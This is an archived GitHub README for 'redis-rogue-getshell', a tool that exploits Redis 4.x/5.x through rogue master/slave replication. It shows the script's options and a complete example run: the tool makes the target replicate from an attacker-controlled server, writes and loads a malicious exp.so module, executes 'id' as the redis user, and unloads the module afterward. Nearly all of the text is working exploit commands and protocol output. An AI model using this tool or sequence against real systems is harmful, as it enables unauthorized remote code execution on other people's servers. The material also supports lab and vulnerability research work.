GitHub - vulhub/redis-rogue-getshell: redis 4.x/5.x master/slave getshell module

By phith0n

Archived: 2026-04-05 21:40:04 UTC

Then, exp.so is in `RedisModulesSDK/exp.so`.

```
 ➜ python3 redis-master.py -h

usage: redis-master.py [-h] -r RHOST [-p RPORT] -L LHOST [-P LPORT] [-f FILE]
                       [-c COMMAND] [-a AUTH] [-v]

Redis 4.x/5.x RCE with RedisModules

optional arguments:
  -h, --help            show this help message and exit
  -r RHOST, --rhost RHOST
                        target host
  -p RPORT, --rport RPORT
                        target redis port, default 6379
  -L LHOST, --lhost LHOST
                        rogue server ip
  -P LPORT, --lport LPORT
                        rogue server listen port, default 21000
  -f FILE, --file FILE  RedisModules to load, default exp.so
  -c COMMAND, --command COMMAND
                        Command that you want to execute
  -a AUTH, --auth AUTH  redis password
```

```
 ➜ python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "id"

>> send data: b'*3\r\n$7\r\nSLAVEOF\r\n$13\r\n*.*.*.*\r\n$4\r\n8888\r\n'
>> receive data: b'+OK\r\n'
>> send data: b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$6\r\nexp.so\r\n'
>> receive data: b'+OK\r\n'
>> receive data: b'PING\r\n'
>> receive data: b'REPLCONF listening-port 6379\r\n'
>> receive data: b'REPLCONF capa eof capa psync2\r\n'
>> receive data: b'PSYNC 7cce9210b3ad3f54043ce1965cda506bd26b0224 1\r\n'
>> send data: b'*3\r\n$6\r\nMODULE\r\n$4\r\nLOAD\r\n$8\r\n./exp.so\r\n'
>> receive data: b'+OK\r\n'
```

```
>> send data: b'*3\r\n$7\r\nSLAVEOF\r\n$2\r\nNO\r\n$3\r\nONE\r\n'
>> receive data: b'+OK\r\n'
>> send data: b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$8\r\ndump.rdb\r\n'
>> receive data: b'+OK\r\n'
>> send data: b'*2\r\n$11\r\nsystem.exec\r\n$2\r\nid\r\n'
>> receive data: b'$49\r\n\x08uid=999(redis) gid=999(redis) groups=999(redis)\n\r\n'
uid=999(redis) gid=999(redis) groups=999(redis)

>> send data: b'*3\r\n$6\r\nMODULE\r\n$6\r\nUNLOAD\r\n$6\r\nsystem\r\n'
>> receive data: b'+OK\r\n'
```
